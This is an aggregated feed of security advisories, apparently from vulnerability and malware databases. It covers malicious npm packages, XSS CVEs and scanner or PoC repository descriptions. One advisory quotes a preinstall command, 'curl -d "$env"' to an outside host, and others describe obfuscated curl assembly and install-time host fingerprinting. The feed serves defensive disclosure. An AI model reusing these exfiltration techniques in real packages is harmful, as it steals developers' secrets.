Malicious code in hardhat-promised (npm)

Source: amazon-inspector 306eed59a2a4d15563101a3bfde19c1d6d5e0c9152cb0f3d0f421331e075ef4e The npm package hardhat-promised impersonates the pino logger: it ships pino's README with pino shields.io badges linking to npmjs.com/package/pino, LICENSE, docs/, index.d.ts, and lib/ directory layout...

CVE-2026-46300

セキュリティ研究および法的免責事項 このリポジトリは、教育および許可されたセキュリティ研究目的にのみ使用されます。 許可される使用 管理された環境（ローカルVM、隔離されたラボ）におけるセキュリティ脆弱性と悪用概念の理解 サンドボックス隔離メカニズムとその制限の研究 安全なソフトウェア設計と防御的セキュリティプラクティスの学習 システム所有者からの明示的な書面による同意を得た、許可された侵入テスト 禁止される使用 システム、ネットワーク、またはデータへの不正アクセス、悪用、または不正取得 マルウェア、ランサムウェア、または悪意のあるツールの開発または配布 違法または非倫理的なセキュリティ...

EUVD-2026-94764

The Image Photo Gallery Final Tiles Grid WordPress plugin before 3.6.14 does not sanitise several gallery configuration values that can be overridden through its gallery shortcode before printing them into an inline script block, allowing users with contributor-level access and above to inject...

Satel Netco Design

ADVISORY SUMMARY Successful exploitation of these vulnerabilities could allow an attacker to execute arbitrary scripts in a user's browser, consume excessive system resources, enumerate files, create or modify files, and potentially execute arbitrary code. 2. RECOMMENDED PRACTICES CISA...

dirtycups

dirtycups.py Dirty CUPS 是一款免费的 Linux/Unix CVE 扫描器（Python3 脚本），用于验证目标是否存在 CVE-2024-47176 漏洞。这是一款基于 MalwareTech 的 cupsscanner.py 的纯套接字 CUPS 扫描器：https://github.com/MalwareTech/CVE-2024-47176-Scanner/blob/master/cupsscanner.py 原始脚本 jimi2x 功能 创建本地套接字监听器用于回调 触发来自目标的响应 等待传入连接 快速安装说明： Nothing to install,...

Malicious code in hardhat-promised (npm)

[email protected] was published to npm on 2026-10-06 13:59 UTC by user ryan.danial915 account's only package, created the same day. The name targets the Ethereum development tool hardhat. The package is a verbatim copy of the pino logger README, docs, lib/.js, SECURITY.md; the README badges...

MAL-2026-17662 Malicious code in hardhat-promised (npm)

[email protected] was published to npm on 2026-10-06 13:59 UTC by user ryan.danial915 account's only package, created the same day. The name targets the Ethereum development tool hardhat. The package is a verbatim copy of the pino logger README, docs, lib/.js, SECURITY.md; the README badges...

CVE-2025-12163

CVE-2025-12163：Omnipress WordPress 插件中的存储型跨站脚本漏洞 目录 概述 漏洞详情 技术分析 攻击向量 修复指南 CVSS 指标 参考资料 安全联系 概述 Omnipress WordPress 插件存储型 XSS 漏洞（CVE-2025-XXXXX） — Omnipress Gutenberg 块插件中存在一个存储型跨站脚本漏洞，允许拥有作者级权限的认证攻击者注入恶意脚本。 在 Omnipress WordPress 插件中发现了一个存储型跨站脚本（XSS）漏洞，允许拥有作者级或更高权限的认证攻击者在页面中注入任意 Web...

CVE-2021-4044

SSL Checker 脚本 此仓库包含一个 Python 脚本，用于检查系统上的 OpenSSL 版本并测试与用户提供网站的 SSL/TLS 连接。该脚本旨在识别系统是否受到 CVE-2021-4044 影响，并测试连接过程中 SSL 错误的处理情况。 功能 OpenSSL 版本检查： 脚本检查系统上安装的 OpenSSL 版本，并在易受 CVE-2021-4044 影响时发出警报。 SSL 连接测试： 尝试与用户提供的网站建立 SSL 连接，处理并报告发生的任何 SSL 错误。 用户输入： 脚本提示用户输入目标网站 URL 以进行 SSL 连接测试。 前提条件 Python 3.x：...

Malicious code in abbishal-poc2 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e1a4950e43d1db42d899107c229ccdbb21fd5e8eeeb4d5771b352a8918658e4f package.json declares a preinstall script sh./test.sh. test.sh assembles the string curl from single-character shell variables b=e, i=c, s=n, h=u, a=...

MAL-2026-17654 Malicious code in abbishal-poc2 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e1a4950e43d1db42d899107c229ccdbb21fd5e8eeeb4d5771b352a8918658e4f package.json declares a preinstall script sh./test.sh. test.sh assembles the string curl from single-character shell variables b=e, i=c, s=n, h=u, a=...

Malicious code in @ziedzzz/demo-canary (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e6350184f3eabc17d37726cdd71ea97666cef28b2e1c125cffeb56e7c474b8dd On npm install, the package's declared postinstall script executes index.js, which collects a host fingerprint hostname, username, home directory, cw...

MAL-2026-17652 Malicious code in @ziedzzz/demo-canary (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector e6350184f3eabc17d37726cdd71ea97666cef28b2e1c125cffeb56e7c474b8dd On npm install, the package's declared postinstall script executes index.js, which collects a host fingerprint hostname, username, home directory, cw...

Malicious code in abbishal-poc-as-dependency (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bc0e1fb6fb8f481baf7c16b593aa342b3b63165f9e97e395ff49c4bed18dfa53 package.json declares a preinstall lifecycle script sh./test.sh. test.sh assembles a curl -d "$env" https://abbishal.com/sh/installation-success...

MAL-2026-17653 Malicious code in abbishal-poc-as-dependency (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector bc0e1fb6fb8f481baf7c16b593aa342b3b63165f9e97e395ff49c4bed18dfa53 package.json declares a preinstall lifecycle script sh./test.sh. test.sh assembles a curl -d "$env" https://abbishal.com/sh/installation-success...

dns-zone-audit

DNS Zone Audit 軽量なBashベースのセキュリティツールで、DNSゾーン転送の設定ミス（AXFR）をテストします。CVE-1999-0532に関連しています。 このスクリプトは、ドメインの権威ネームサーバーに問い合わせ、完全なゾーン転送を試みます。成功した場合、内部インフラやレコードを露出させる重大なDNS設定ミスを示します。 特徴 対話的なドメイン入力（単一または複数ターゲット） ファイル入力によるバッチスキャン 自動的な権威ネームサーバーの検出 TCP経由のAXFRテスト 明確で色分けされた出力 最小限の依存関係 要件 bash dig（dnsutils または...

Apache Tomcat 4.x-7.x - Cross-Site Scripting

Apache Tomcat 4.x through 7.x contains a cross-site scripting vulnerability which an attacker can use to execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. id: CVE-2007-2449 info: name: Apache Tomcat 4.x-7.x - Cross-Site Scripting author:...

Dolibarr <7.0.2 - Cross-Site Scripting

Dolibarr before 7.0.2 is vulnerable to cross-site scripting and allows remote attackers to inject arbitrary web script or HTML via the foruserlogin parameter to adherents/cartes/carte.php. id: CVE-2018-10095 info: name: Dolibarr 7.0.2 - Cross-Site Scripting author: pikpikcu severity: medium...

CVE-2022-1388-F5-BIG-IP

CVE-2022-1388-F5-BIG-IP 在同级目录下放target.txt 直接执行即可...

CLEANSTART-2026-OX66799 If a trusted template author were to write a <script> tag containing an empty 'type' attribute or a 'type' attribute with an ASCII whitespace, the execution of the template would incorrectly escape...

CVE-2026-39826 affects multiple packages. If a trusted template author were to write a tag containing an empty 'type' attribute or a 'type' attribute with an ASCII whitespace, the execution of the template would incorrectly escape any data passed into the block. See references for individual...